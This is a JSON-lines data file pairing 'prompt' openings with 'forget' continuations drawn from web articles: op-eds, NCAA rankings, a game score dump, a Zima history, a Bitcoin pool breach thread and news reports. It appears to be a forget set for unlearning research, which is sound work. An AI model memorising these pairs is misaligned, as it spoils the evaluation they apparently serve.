would carry the day. But in a White House press room that includes staff \u201cwriters\u201d for Infowars and Breitbart in press conferences, the Trump Administration isn\u2019t looking for up-the-middle coverage; they\u2019re looking for partners in the fake news explosion that helped Trump win the election. Conservative writers and thinkers who look away from the creepy authoritarianism, apocalyptic religious war fantasies, lavish corruption, overt economic statism, and general ineptitude simply because Trump snubs the established press aren\u2019t doing the movement any favors. Let\u2019s be clear; the mainstream media deserves a kick in the ass so hard they reach orbital velocity for their"}
{"prompt": "CLOSE While deep NCAA tournament runs are often driven off great guard play, this year's Sweet 16 will feature big men as difference-makers. USA TODAY Sports Kentucky Wildcats guard Aaron Harrison (2) high fives fans after the game against the Cincinnati Bearcats in the third round of the 2015 NCAA Tournament at KFC Yum! Center. (Photo11: Brian Spurlock, USA TODAY Sports) After a six-day extravaganza of college hoops, we have our Sweet 16 for the 2015 NCAA tournament. The madness came early, with two upsets of No. 3 seeds on Thursday \u2014 Georgia State shocking Baylor and UAB stunning Iowa", "forget": "State \u2014 and kept on coming \u2014 with No. 1 Villanova falling to N.C. State and No. 2 Virginia getting ousted by Michigan State in the round of 32. After Sunday, there are 16 teams still with a chance to cut down the nets on April 6. How they rank: 1. Kentucky: The Wildcats are one of deepest and most talented teams we've ever seen in college basketball. If they don't finish the season undefeated and win the national championship, it will surely be a surprise. But this team has shown signs of vulnerability that lead us to believe they're beatable. If the tournament were a best-of-seven series like the NBA playoffs, Kentucky's net-cutting would be inevitable. But Iowa State and Villanova both lost to teams they would have crushed in a playoff series. Forget Xs and Os here. All it takes is one game with Kentucky playing a little off and a determined, hot-shooting effort from its opponent. Easier said than done, but certainly feasible. VIDEO: Analysis of the opening weekend 2. Arizona: The Wildcats were deserving of a No. 1 seed and are playing like one in the tournament. Arizona boasts four future NBA players \u2014 Rondae Hollis-Jefferson, Brandon Ashley, Stanley Johnson and Kaleb Tarczewski \u2014 but the team's most important player is veteran point guard T.J. McConnell (19 points, six assists and six rebounds in Arizona's win against Ohio State), who makes all four of those players better. Last year's Arizona team was one possession away from the Final Four. And this year's team is better. BRACKET HUB: Everything March Madness 3. Wisconsin: The Badgers got a scare in a close battle with Oregon in the round of 32, but there's no mistaking Wisconsin as a contender to win it all based on its roster. The Badgers"}
{"prompt": "Spoiler: Score: 12,125 (click to show/hide) Cogmind - Alpha 12 Name: Kyzrati ---[ CORE DESTROYED ]--- Performance ------------- Evolutions (6) 3000 Robots Destroyed (197) 985 Value Destroyed (7440) 7440 Prototype IDs (20) 400 Alien Tech Recovered (0) 0 Bonus (300) 300 TOTAL SCORE: 12125 Cogmind --------- Core Integrity 0/1150 Matter 290/300 Energy 78/100 System Corruption 2% Temperature Cool (12) Location -4/Factory Parts ------- Power (2) (None) Propulsion (4) (None) Utility (9) (None) Weapon (4) Improved Plasma Cutter Inventory (4) Light Angular Momentum Engine Neutrino Core Light Quantum Reactor Compact Heavy Treads Peak State ------------ Power Micro Fission Core Micro Fission", "forget": "Core Propulsion Improved Treads Improved Treads Armored Leg Improved Hover Unit Utility Advanced Heat Sink Improved Cooling System Large Storage Unit Large Storage Unit Long-range Sensor Array Advanced Targeting Computer Advanced Targeting Computer Hacking Suite Improved Hacking Suite Weapon Wave Gun Heavy Phase Cannon KE Penetrator Precision Grenade Launcher Inventory Light Angular Momentum Engine Neutrino Core Enhanced Fission Core Wheel Energy Mantle Advanced Plasma Rifle Long-range Proton Cannon Long-range Proton Cannon Disruptor Cannon Heavy Missile Launcher Heavy Missile Launcher Heavy Missile Launcher Heavy Missile Launcher Guided Missile Launcher Phasing Sabre [Rating: 82] Favorites ----------- Power Cooled Ion Engine Engine Cooled Ion Engine Power Core Micro Fission Core Reactor Light Antimatter Reactor Propulsion Carbon-fiber Leg Treads Improved Treads Wheel Wheel Leg Carbon-fiber Leg Hover Unit Improved Hover Unit Utility Advanced Targeting Computer Device Makeshift Transmission Jammer Storage Large Storage Unit Processor Advanced Targeting Computer Hackware Improved Hacking Suite Protection Light Armor Plating Weapon Gauss Cannon Energy Gun Advanced Beam Rifle Energy Cannon Ion Cannon Ballistic Gun Gauss Rifle Ballistic Cannon Gauss Cannon Launcher Precision Grenade Launcher Slashing Weapon Phasing Sabre Special Melee Weapon Improved Plasma Cutter Stats ------- Bonus Breakdown 300 Met Data Miner 300 Classes Destroyed 15 Worker 3 Builder 8 Tunneler 1 Hauler 5 Recycler 10 Minesweeper 2 Operator 4 Watcher 3 Swarmer 49 Grunt 57 Brawler 2 Duelist 2 Sentry 28 Hunter 16 Programmer 7 NPCs Destroyed 0 Best Kill Streak 13 Combat Bots Only 12 Matter Collected 6050 Salvage Created 8391 Parts Attached 217 Power 20 Propulsion 63 Utility 36 Weapon 98 Parts Lost 86 Power 11 Propulsion 27 Utility 16 Weapon 32 Average Slot Usage (%) 90 Naked Turns 13 Spaces Moved 6056 Fastest Speed (%) 200 Average Speed (%) 70 Slowest Speed (%) 37 Overloaded Moves 0 Propulsion Burnouts 0 Targets Rammed 5 Cave-ins Triggered"}
{"prompt": "Your Allyship Will Not Protect You Harvey Jeni Blocked Unblock Follow Following Sep 16, 2017 \u201cI\u2019m happy for them to hit her.\u201d The woman is young, defiant, her shoulders squared. She looks defensive, actually. It is 2017 and the violence she is referring to is being meted out in the name of feminism. Feminism, which used to mean a revolutionary political movement dedicated to the liberation of women from male dominance. I don\u2019t know what it means anymore. What I do know is that on September 13th, about eighty women gathered at Speakers Corner \u2014 a significant and historic place", "forget": "of free speech and open debate \u2014 in order to attend a talk being given about a proposed act of parliament which will see gender identity replace gender reassignment as a protected characteristic under the law. So instead of requiring a diagnosis of gender dysphoria, a medical certificate, and to have lived as your chosen gender for a minimum of two years, an individual will be able to simply declare themselves the opposite sex and sign a statement of intention to live as such, making the process far easier, quicker, and much less intrusive. The act represents a gargantuan table flip in how we understand ourselves as humans: our sexual dimorphism, reproductive biology, and how we organise ourselves in the public and private spheres. When an individuals sex is defined, not by distinct and measurable physical characteristics, but by their subjective internal feelings about gender, what implications does this have for the category of humans who have been oppressed for centuries on the very basis of their biology? That is what the women gathering at Speakers Corner wished to discuss. The woman whose words are quoted at the beginning of this article formed part of a group wishing to shut down the discussion. To debate the nature of gender hierarchy is to debate the right of transpeople to exist, they say. To even speak of the ways in which natal women and girls might be affected by the new law is tantamount to murder, to genocide. And so in this way, the women at Speakers Corner were redrawn as monsters, as Nazis, as a mortal threat to be crushed. Except none of it is true. All humans exist with basic rights enshrined in law. I know of no woman who does not support any individuals right to live and present"}
{"prompt": "Rebel Without a Country TOKYO \u2014 On June 24, Chinese political cartoonist Wang Liming, better known as Rebel Pepper, tweeted about the scariest nightmare he ever had. He found himself surrounded by seven or eight people, secret agents sent by the ruling Chinese Communist Party to arrest him. Their leader, Colonel Light, demanded that Rebel Pepper leave Japan with them; when he refused, they threatened to push him off a balcony. Soon, Japanese police arrived and surrounded the building, but Colonel Light and his men floated away ominously. Rebel woke up that morning, afraid for his life. Having left China", "forget": "for Japan, Rebel had thought that his nightmares would end. But they only grew more absurd, more crazed, more intense. Rebel started drawing political cartoons in 2009, and chose the pen name biantai lajiao, or Perverse Pepper in Chinese; Rebel Pepper came from the recommendation of a Taiwanese friend, who thought it sounded good in English. Often, Rebel draws himself into the cartoon, as the Pepper \u2014 a sometimes sad, sometimes oblivious, sometimes lascivious chili, with large, intense eyes. One cartoon, from February 2012, features a smiling Bashar al-Assad, the Syrian dictator, standing on a heap of skeletons and hiding behind two doors featuring a menacing polar bear (Russia) and panda (China.) In the upper right-hand corner, the Pepper smiles \u2014 a blithe and uncaring bystander \u2014 and flashes a thumbs-up. Over the last few years, his cartoons \u2014 of China\u2019s blighting air pollution filling the sky, of an obese man bloodily smothering dissent while smoking a cigar, of Mao Zedong boasting of his victim count to Islamic State leaders \u2014 have become steadily more subversive. Despite his polite, almost deferential demeanor, the moniker \u201cRebel\u201d fits him well. He\u2019s probably China\u2019s best-known political cartoonist, and certainly the one most critical of the ruling Communist Party. In China, Rebel had grown notorious for satirizing China\u2019s increasingly authoritarian President Xi Jinping \u2014 Rebel has drawn Xi as a steamed dumpling and as a shirtless post-coital smoker in bed with a young man \u2014 and, Rebel told me, he realized that he had to leave Beijing or risk facing a long spell in prison. Originally, Rebel had planned to make his way to New York City after returning from a long holiday in Japan in mid-2014. But in late July 2014, two major Chinese media companies, Sina and Tencent, deleted Rebel\u2019s microblog accounts"}
{"prompt": "Two guys walk into a bar. They order beers. Bartender says they don\u2019t have any beer. The men look confused. A stranger in a stylish hat suggests they try something different. They order a clear malt beverage. It\u2019s on ice, clear, delicious. The men are happy. The entire ad spot lasts 30 seconds, or roughly the same amount of time Zima could claim to be among the most popular adult beverages in the country. In 1991, with beer sales on the decline across the industry, the Coors company of Golden, Colorado decided to blend two of the hottest trends in", "forget": "consumer marketing: \u201cclear\u201d products like Crystal Pepsi and the smooth, gently-intoxicating appeal of wine coolers. By using charcoal to filter the color and taste from their brews, they were able to deliver a vaguely citrus-tasting drink with 4.7 percent alcohol content. The company asked third-party marketing firm Lexicon Branding to give it a name; Jane Espenson, who would later become a staff writer on Buffy the Vampire Slayer and Game of Thrones, dubbed it Zima, the Russian word for \"winter.\" Armed with a $180 million budget for the 1994 launch, Coors peppered television with commercials featuring a spokesman who exchanged his s's for z's. (\u201cWhat\u2019s your zign?\u201d) They also pushed a slew of merchandising and even an early consumer-use product website. The goal was to get Zima on the minds and into the hands of young males. Owing to the blanket advertising assault, that's exactly what they accomplished. Zima sold a staggering 1.3 million barrels\u2019 worth of product in 1994, giving it a near-instant 1 percent market share in the booze industry. It was estimated that 70 percent of all drinkers tried the \u201cmalternative.\" As Coors would soon learn, those numbers only work in your favor if people like the product. The company was disappointed to learn that many of them didn\u2019t: Men found the taste off-putting. And those who enjoyed it were precisely the demographic they were looking to avoid. Women who normally passed over beer embraced Zima, giving it an effete quality that marketing considered to be grim death for the valued male customer base. If a man couldn\u2019t feel manly taking a pull of the clear stuff, he'd be likely to reach for something else. On the public relations side, Coors was also having to defend itself against charges that teenagers were growing fond of Zima because"}
{"prompt": "Thank you to Ponchies For Kids for providing me with product, free of charge, in exchange for this blog review. All opinions are 100% my own. It amazes me how far we\u2019ve come with carseat safety. When my husband and I first purchased his family farm 13 years ago, we started going through the garage and sheds. He pulled a contraption off the wall and told me it had been his younger brothers carseat. It literally was a seat with two hooks that would set over the car\u2019s seat. No belts, buckles, or harness of any sort. So it really", "forget": "would have served very little purpose in keeping a child safe, more so, it was just a \u201cbaby holder\u201d. Now days, there is lots of information and research showing that a 5-point harness is the safest way to go. Even further, no bulky clothing or coats should be worn in conjunction with a carseat either. So I went searching for something that would work to keep our little girl warm during car rides as well as when out playing outside in mild weather. Enter: Ponchies For Kids. We were sent the adorable Baby & Kids Arrows Fleece Poncho \u2013 Pink, Yellow, Grey in size 2-4 for review. It is super cute and oh so soft in person. Ponchies For Kids ponchos are handmade with love from a light fleece material. As soon as our little girl saw her Poncho, she ran for her hat because she knows when it\u2019s time to head outside. With it hovering around the 40\u2019s here in Minnesota, hats are still required for us! So I put her hat and Arrow Poncho on her, snapped her \u201csleeves\u201d, and we headed outdoors. Ponchies For Kids Features: ~Versatile Sizing That Fits Over Longer Period Of Time ~Adjustable Drawstrings To Shorten Sides ~Side Snaps Which Creates Arm Holes ~Adorable Hood ~Easy To Get On & Off With Generous Neck Opening That Features A Button Closure ~Can Be Utilized With A Carseat I especially love that I can flip the Poncho up, buckle our daughter into her carseat and then drape it back over her to keep her warm during our cold Winters! It\u2019s lightweight enough that she won\u2019t overheat yet keeps her cozy. I really like the overall design of Ponchies For Kids Ponchos. Along with all the great features, the hood of the Arrows Poncho is lined with"}
{"prompt": "Freedom isn\u2019t free. You may think that statement is trite. I actually think it makes a ton of sense. Americans are rightfully proud to live in the Land of the Free. We have more freedom than most countries in all sorts of awesome ways: religion, speech, movement, etc. As they say, it makes us the envy of the world and is the primary reason why immigrants \u2014 legal and otherwise \u2014 still flock to our borders and shores. Of course, there are limits to our freedom. We are not free to murder and pillage, sell heroin, run naked onto an", "forget": "NFL field. These are easily agreed upon taboos. Reason being is that the cost to society of allowing that much freedom is simply unacceptable and/or morally reprehensible. There are also what I call \u2018debatable freedoms,\u201d those which we have hashed out to decide whether or not they are worth exercising. Our acceptance of them evolves over time. Think legalized marijuana or same-sex marriage. And then there are other societal freedoms many of us seem to believe in that come with huge, often under-recognized, and to my mind, hard-to-defend costs. Three examples here are free, unfettered financial markets; a wide-open internet; and nearly unlimited access to firearms. Many of us believe passionately in these freedoms, but I wonder if we fully understand the price we pay for them. Let\u2019s take them one by one. Free, unfettered financial markets You could argue that the financial crisis of 2008/2009 came about in large part because of deregulated or under-regulated financial markets. Speculation in credit derivatives and mortgage-backed securities, along with accompanying risks that were poorly understood, created systemic risk, which badly damaged our nation\u2019s economy and much of the rest of the world\u2019s as well. How much did these free financial markets cost us during the Great Recession? It\u2019s hard to pin down exactly, but I\u2019ve seen estimates of anywhere from $12 trillion to $22 trillion \u2014 yes, with a \u2018T\u2019. After Lehman Brothers collapsed in 2008, policymakers advanced a slew of regulations intended better prepare the financial system for market and economic volatility. REUTERS/Joshua Lott/Files More A few points here. Of course our free markets have created trillions more than that in wealth. And I\u2019m not talking about implementing thousand of pages of myriad arcane derivatives regulation. I\u2019m thinking mostly about increasing the amount of capital for securities firms. Simple stuff. Next"}
{"prompt": "Your Bitcoin transactions The Ultimate Bitcoin mixer made truly anonymous. with an advanced technology. Mix coins Advertised sites are not endorsed by the Bitcoin Forum. They may be unsafe, untrustworthy, or illegal in your jurisdiction. Advertise here. nearmiss Offline Activity: 448 Merit: 250 Sr. MemberActivity: 448Merit: 250 Re: [ANN][Pool][Profit-Switch][Optional Auto-Exchange per Coin][Vardiff] ~ Hashcows December 24, 2013, 06:54:27 PM #1802 There's been a breach this afternoon with a number of users reporting payout addresses being changed and manual payouts being triggered to the new address. All payouts have been disabled and we are working on determining the scope of the", "forget": "issue. While its unlikely passwords have been compromised (and nothing is stored plain text in the db anyways), its not a bad practice to assume the worst and change passwords anyways. 40.8 total BTC has been lost. We can't really comment much further on account statuses until we gather data on the full picture. Obviously with the time of year, we all have commitments outside, but we are working every spare moment we've got. I advise people to stop by the irc channel if possible, where live discussions can happen and up to date news provided. The cows apologize to everyone involved, its a terrible time of year to wake up to such things. There will be 0% fees on anything earned as of now and today's btc earned (keeping in mind payout is disabled for the time being). nearmiss Profit-Switching Pool w/ Vardiff -> http://hashco.ws Optionally keep the alts we mine or auto-trade for BTC. In addition can be paid out in any of: 365, AC, BC, BTC, C2, CINNI, COMM, FAC, HBN, MINT, PMC, QRK, RDD, WC, XBC gsrcrxsi Offline Activity: 294 Merit: 250 Sr. MemberActivity: 294Merit: 250 Re: [ANN][Pool][Profit-Switch][Optional Auto-Exchange per Coin][Vardiff] ~ Hashcows December 24, 2013, 07:00:10 PM #1803 What the mother fuck?! 0.045+ BTC gone. I assume that HC won't do anything about refunding people?? Such a sad state. First the horrible payouts and connection issues, and now they allow everyone to be compromised and have their shit stolen. A lot of good that 4 digit pin for payouts did huh? I was already moved off of HC due to the other issues and now this? Yeah. Safe to say i can never trust this pool again... bronxbob Offline Activity: 9 Merit: 0 NewbieActivity: 9Merit: 0 Re: [ANN][Pool][Profit-Switch][Optional Auto-Exchange per Coin][Vardiff] ~ Hashcows December 24,"}
{"prompt": "Donald Trump\u2019s offenses against taste, tolerance and truthfulness are coming so fast that it is hard to pick out individual cases. But let\u2019s linger on his recent foray into Christian theology. During a speech in Fort Dodge, Iowa, Trump pronounced Ben Carson\u2019s story of conversion from violent troublemaker to Christian to be so much \u201ccrap.\u201d \u201cHe goes into the bathroom for a couple of hours, and he comes out, and now he\u2019s religious . . . . Give me a break. It doesn\u2019t happen that way,\u201d said Trump. In Christian history, it has often happened that way. Around A.D. 35,", "forget": "a nasty character named Saul got knocked from (and to) his ass on the road to Damascus and became the utterly transformed Paul. In A.D. 386 , Augustine heard a child\u2019s voice chanting, \u201cTake up and read,\u201d opened a Bible randomly to Paul\u2019s letter to the Romans, was convicted to the core and abandoned the life of a hard-partying pagan. Around 1510, a monk named Martin Luther understood Paul\u2019s letter in a new way \u2014 one version locates this revelation in the \u201ccloaca,\u201d or bathroom \u2014 and \u201cfelt I was altogether born again and had entered paradise itself through open gates.\u201d On May 24, 1738, John Wesley heard someone reading Luther\u2019s Preface to the Epistle of Romans in a meeting on Aldersgate Street in London, and at 8:45 p.m. felt his \u201cheart strangely warmed.\u201d All of these cases weigh against Trump\u2019s theological claim \u2014 which also makes little political sense in the state of Iowa, where the Republican Party is heavy with evangelical Christians, for whom conversion is a common experience. But this is not really a political matter at all, demonstrated by another conversion. Bob Beckel was, famously, Walter Mondale\u2019s campaign manager in a 49-state loss. He was a trusted fixer at the State Department and White House, then a progressive TV commentator. Through most of this he was also an alcoholic, a drug abuser and a womanizer who kept hitting rock bottom only to find new bottoms beneath. In a speech delivered on Nov. 12, 2015, Republican presidential candidate Donald Trump attacked Ben Carson's story of religious conversion. (AP) We know this from Beckel\u2019s transparent and compulsively readable autobiography, \u201cI Should Be Dead: My Life Surviving Politics, TV, and Addiction.\u201d He gained his survival skills from dealing with an alcoholic and abusive father. \u201cI learned how to wear"}
{"prompt": "CHENNAI: The VR World Congress, scheduled for 12 April 2016 will see participation from over 600 buyers, sellers and developers from VR and its surrounding industries from across the globe. While Brazil was represented last year and Russia and China this year, there is no participation from India.The VR World Congress, to be held in Bristol, UK is expected to see participation from the brightest minds of the VR industry and world leaders in VR such as AMD, HTC and Samsung. The event has been sold out for 2 weeks now, with participation from many countries including Sweden, Germany, Austria,", "forget": "Belgium, Denmark amongst others.Amongst the BRIC nations, Brazil was represented last year by VR game designer Ana Ribeiro. This year, Russia will be represented by Interractive Lab who is exhibiting a room-scale Gear VR tracking demonstration. Ximmerse from China is also showcasing its cutting edge VR technology. While all other BRIC nations are showcasing their talent at the Congress, India seems to have given the event a miss. According to the authorities, while there were some hits from India on their website, no inquiries (email/ telephonic) have come in from Indian companies at all.\"The Bristol & Bath tech cluster has a growing reputation as the European (if not global) capital of VR. The VR World Congress has had a very high level of international participation as a result. World-renowned Brazilian VR designer Ana Ribeiro was a speaker at last year's event, and this year we are pleased to have exhibitors from both Russia and China. We would have loved to have had participation from India as well so all four BRIC were involved. We're hopeful this will happen next year,\" said Dan Page, Director of the VR World Congress.Entrepreneurs in India in the VR/AR space believe the industry is in the nascent stages in India. \u201cWhile we are attending events across the globe, it becomes expensive to cover them all. There is a general lack of awareness in the country about the technology,\u201d said Vijay Karunankan, founder, Ingage. Entrepreneurs strongly advocate the need for a body to promote VR and help companies involved in VR to gain prominence in the global scene.\u201cJust days before the event itself we received an enquiry from Mumbai's Gateway VR, saying they would attend if tickets were still available. It was way too late for us to squeeze them in, but I am really looking"}
{"prompt": "Joining Embarcadero as Delphi Product Manager If you follow my twitter account or have attended the product address of CodeRage, you now that I've just made a big career change, joining Embarcadero Technologies. If you follow my twitter account or have attended the product address of CodeRage, you now that I've just made a big career change, joining Embarcadero Technologies. I've been working with Borland and Embarcadero products for over two decades, have been writing books on the technologies (well, mostly Delphi), have been a technical partner and my company was (and still remains) a sales partner in Italy. I've", "forget": "been in touch with the R&D team, developer relations, marketing people and product managers. But even recently I won't have envisioned joining the company. I was offered the job to help shape Delphi's future and didn't have to ponder a lot. The position I'm taking is Delphi Product Manager, although there is actually a product management team for RAD Studio, with split and shared responsibilities. I'll be based in Europe (working from home, when not on the road), where there are some of the R&D teams and a large number of Delphi customers. For Delphi developers in Europe this is good news, as it might be easier to reach me at \"local\" conferences and events. I'll start by attending Be-Delphi in 2 weeks. In case you are wondering, I'll keep doing some of my current activities, like keeping this blog open and active and use my personal twitter account. I'll try to put some of my (limited) free time on books writing, and make sure some of my open source projects have a future. But it is hard to tell, as I have a lot to learn right now. Needless to say I'm open for comments, use my new email address marco.cantu at embarcadero.com (but I'll keep monitoring also my older email accounts). Feel also free to use this blog for posting comments, ideas, constructive criticism... you know what I mean, we need a healthy and more relaxed community around Delphi. So, this is all for now. Stay tuned to this space for news and updates. It's a new adventure, I hope you'll enjoy it with me. Long live Delphi! 40 Comments Joining Embarcadero as Delphi Product Manager As I've already tweeted on Twitter, I would like to congratulate you on your new job! I've used Delphi for many years"}
{"prompt": "Whatever else is said about the murder of 20 elementary school children in Newtown, Conn. last year, let no one say \u2013 especially at the Senate Judiciary Committee hearings on gun control today \u2013 that those killings were \u201cunimaginable.\u201d Every day, mass killings are imagined, rehearsed, and enacted \u2013 virtually \u2013 by millions of children and young adults, mostly boys and men, in violent video games. One segment of Bioshock 2, for example, invites players to kill defenseless, cowering girls (called Little Sisters) or lure them into a trap where they are mowed down by a machine gun. Adam Lanza", "forget": "didn\u2019t have to imagine the Sandy Hook massacre on his own. Others had already imagined it for him. When Wayne LaPierre, head of the National Rifle Association, pointed a finger at video games and media violence during a news conference after the shootings, it was a calculated effort to distract attention from the gun industry and its powerful lobby. As former Congresswoman Gabrielle Giffords and her husband Mark Kelly wrote in their USA Today op-ed announcing the launch of their gun-control superPAC, \"We saw from the NRA leadership's defiant and unsympathetic response to the Newtown, Conn., massacre that winning even the most common-sense reforms will require a fight.\" But Mr. LaPierre was also half right. Glock and Bushmaster give troubled teens and young adults like Lanza the means to kill. But antisocial video games and a wider culture of militarism give them the script. What LaPierre neglected to say is that the arms industry, the video game industry, and the military are deeply entwined with one another and even, one could argue, allied in values. In many ways, their work together is eroding the distinction between virtual and real killing. During the Iraq War, Marines relaxed after conducting search and destroy missions by playing Call of Duty 4 and CounterStrike, fielding the same weapons and tactics. CIA agents and Air Force personnel today kill real people in distant countries using remotely piloted drones, on interfaces modeled on video games, while US soldiers hone tactical combat skills on video game simulators and use Xbox joysticks to control real machines in the battlefield. Meanwhile, the video game industry works closely with the military and gun manufacturers to ensure that their virtual weaponry, from the PM-63 submachine gun to the C-130 gunship, behaves just like the real thing. Some game companies have direct"}
{"prompt": "Italian politicians and the public are fuming over a \u201cdisgusting\u201d satirical cartoon published by controversial French weekly Charlie Hebdo, which made fun of the victims of an earthquake that left nearly 300 people dead and obliterated entire towns. Charlie Hebdo, which made headlines in 2015 after a terrorist attack that followed the publication of a series of controversial Mohammad cartoons, has just released another controversial satire. #CharlieHebdo has proven once again how they don't have respect for anyone. This is not satire. pic.twitter.com/3zYbKHhdiU \u2014 Alef Lila Wa Lila (@_LaCherry_) September 2, 2016 The cartoon titled \u201cEarthquake Italian Style\u201d compared the", "forget": "quake victims with typical dishes of the country. The caricature showed a man covered in blood standing with a sign over his head reading \u201cpenne in tomato sauce.\u201d The poor fellow is depicted next to a badly injured woman survivor who is labeled \u201cpenne au gratin.\u201d The icing on the satirical image shows people squashed in the rubble with feet sticking out between the floors of a collapsed building with the sign reading \u201cLasagna\u201d. \u201cThese designs are disgusting,\u201d said the Italian Minister of Justice Andrea Orlando, Le Figaro quoted. The minister added that by publishing the caricature the weekly \u201ccreated a scandal\u201d to \u201cattract media attention.\u201d #CharlieHebdo Mocking dead child refugees, religion or Italian victims of an earthquake isn't satire or freedom of speech. It's lazy hate. \u2014 Ramon Kaur (@RamonKaur) September 2, 2016 \u201cAll this is disgusting,\u201d President Senate Pietro Grasso concurred, calling the respect for the freedom of satire an \u201cirony\u201d. The most outrage came from the mayor of a quake-devastated town of Amatrice, who declared \u201cthe town is gone\u201d after the disaster. \u201cHow the f**k do you draw a cartoon about the dead!\u201d Sergio Pirozzi said in response to the cartoon. \u201cI\u2019m sure this unpleasant and embarrassing satire does not reflect French sentiment.\u201d He added that misfortunes and the dead do not deserve a satire, saying \u201cwe will show how the Italian people are a great people.\u201d #CharlieHebdo cartoon comparing earthquake victims to Pasta has Italians up in arms, though many were unquestioningly #jesuischarlie in 2015 \u2014 Barbara Serra (@BarbaraGSerra) September 2, 2016 Following a similar reaction on social media, the French embassy in Rome said Friday that the Charlie Hebdo cartoon \u201cdoes not absolutely represent the position of France.\u201d Shaken Italy: Drone pics from quake-ravaged Amatrice Calling the suffering of Italian people from earthquake an \u201cimmense"}
{"prompt": "Ten Years on, New Estimates of the Economic Cost of the Wars in Iraq and Afghanistan This week marks the tenth anniversary of the American invasion of Iraq. What have the wars in Iraq and Afghanistan cost the United States to date? What additional bills will come due in the future? Economists and budget analysts have made many estimates since the early 2000s. Only one regularity has emerged from their work: Each new round of estimates is higher than those before. Last week the Watson Institute for International Studies at Brown University released a new set of estimates. The numbers", "forget": "are summarized on the web site of the institute\u2019s Cost of War project and detailed in a paper by Professor Neta C. Crawford. The institute\u2019s estimate of the total cost of the two wars now comes to just under $4 trillion. It wasn\u2019t supposed to cost so much The wars were not supposed to cost so much. As the administration of President George W. Bush was building a case for the Iraq war in 2002, with some 5,000 American troops already deployed in Afghanistan, the question of cost naturally came up. In September of that year, Lawrence B. Lindsey, then Chairman of the President\u2019s Council of Economic Advisers, estimated that a new Iraq war would cost $100 billion, maybe $200 billion at a maximum. With a midterm election on the horizon, the White House viewed that estimate as shockingly high. The President quickly dismissed Lindsey. Many observers saw his war cost estimate as a major reason. Later that year, Mitchel E. Daniels Jr., then head of the Office of Management and Budget, told the New York Times that $50 to $60 billion would be a more realistic figure, the same or a bit less than the cost of the 1991 Gulf War. As it turned out, the cost of the Iraq war came to $770 billion over the next twelve years, measured by Defense Department appropriations alone. DoD appropriations for Afghanistan added another $609 billion, pushing the cost of the two wars to well over a trillion, or $1,379 billion to be exact. The following chart, which gives the year-by-year tally, makes Lindsey\u2019s estimates, let alone Daniels\u2019s, look preposterously optimistic. Getting to Four Trillion $1,379 billion is a lot of money, but it still isn\u2019t $4 trillion. How do we get from the total DoD appropriations to the larger cost"}
{"prompt": "How to choose the right IT Ops certs to stay competitive Mention certifications in the IT world and you find three camps. There are those who are all for them, which generally includes those who create, administer, and grant certified status. There are many who say that certification is a fool's game because it rests on rote memorization and doesn't really prove ability. And then there those who don't care about the debate\u2014they just want to remain employable. This article is for you. As the computing world shifts and moves ever faster toward greater virtualization, cloud computing, and software-defined everything,", "forget": "you need new skills and knowledge to stay ahead and remain competitive. So here's an overview of infrastructure-related certifications and the specific areas that you should consider. The State of Analytics in IT Operations GET WHITE PAPER Certification pros and cons Not everyone likes the idea of certification. Many say certifications show that someone passed a series of tests, not that he or she is good at actually doing the work of an IT infrastructure professional. The post-nominal letters literally spelling out a certification also don't address someone's work ethic, compatibility with a given corporate culture, inventiveness, or other characteristics that are critical in hiring. It's a good point. Memorizing all the possible settings for a piece of hardware or software may save some time but fails to determine whether someone would be a good infrastructure employee. Among the arguments for gaining certifications, the biggest is the HR department angle. The dynamics of hiring employees are difficult at many companies. Hiring managers tell HR professionals the characteristics they want in candidates for a given position. The HR staff looks for all the specific requirements the hiring managers mentioned, including certifications, for two reasons. One reason is that no one in corporate America wants to be caught making a blatant mistake. If HR focuses on what the manager wanted, their actions are safe. Another reason is the ability to reject candidates. This isn't a game or hard-heartedness so much as an action of self-preservation. An ad could bring in hundreds of r\u00e9sum\u00e9s, and someone has to go through them. If they make certifications a requirement, then they can eliminate anyone who doesn't meet the profile. Of course, there will be some highly experienced people who could perform the job without having the certification, but the HR staff won't have the expertise"}
{"prompt": "A Secret Service agent holds the door for U.S. Democratic presidential nominee Barack Obama on his way to a campaign rally in Pittsburgh on Monday. ((Jason Reed/Reuters)) Two white supremacists allegedly plotted to go on a national killing rampage, shooting and decapitating black people and ultimately targeting U.S. Democratic presidential candidate Barack Obama, federal authorities said Monday. In all, the two men whom officials described as neo-Nazi \"skinheads\" planned to kill 88 people, including 14 by beheading, according to documents unsealed in U.S. District Court in Jackson, Tenn. The numbers 88 and 14 are symbolic in the white supremacist community.", "forget": "The rampage, which initially targeted an unidentified predominantly African-American school, was to end with the two men driving toward Obama, \"shooting at him from the windows,\" the court documents show. \"Both individuals stated they would dress in all-white tuxedos and wear top hats during the assassination attempt,\" the court complaint states. \"Both individuals further stated they knew they would, and were willing to, die during this attempt.\" An Obama spokeswoman travelling with the senator in Pennsylvania had no immediate comment. Arrested in Tennessee Sheriffs' deputies in Crockett County, Tenn., arrested the two suspects \u2014 Daniel Cowart, 20, of Bells, Tenn., and Paul Schlesselman 18, of Helena-West Helena, Ark. \u2014 Oct. 22 on unspecified charges. \"Once we arrested the defendants and suspected they had violated federal law, we immediately contacted federal authorities,\" said Crockett County Sheriff Troy Klyce. The two were charged by federal authorities Monday with possessing an unregistered firearm, conspiring to steal firearms from a federally licensed gun dealer and threatening a candidate for president. In this undated photo obtained from a MySpace webpage, Daniel Cowart, 20, of Bells, Tenn., is shown holding a weapon. Cowart and Paul Schlesselman 18, of West Helena, Ark., are being held without bond. ((Associated Press)) Cowart and Schlesselman are being held without bond. Agents seized a rifle, a sawed-off shotgun and three pistols from the men when they were arrested. Authorities alleged the two men were preparing to break into a gun shop to steal more. Jasper Taylor, city attorney in Bells, said Cowart was arrested Wednesday. He was held for a few days in Bells, then moved over the weekend to another facility. \"It was kept under lid until today,\" Taylor said. Until his arrest, Cowart lived with his grandparents in a southern, rural part of the county, Taylor said, adding that"}
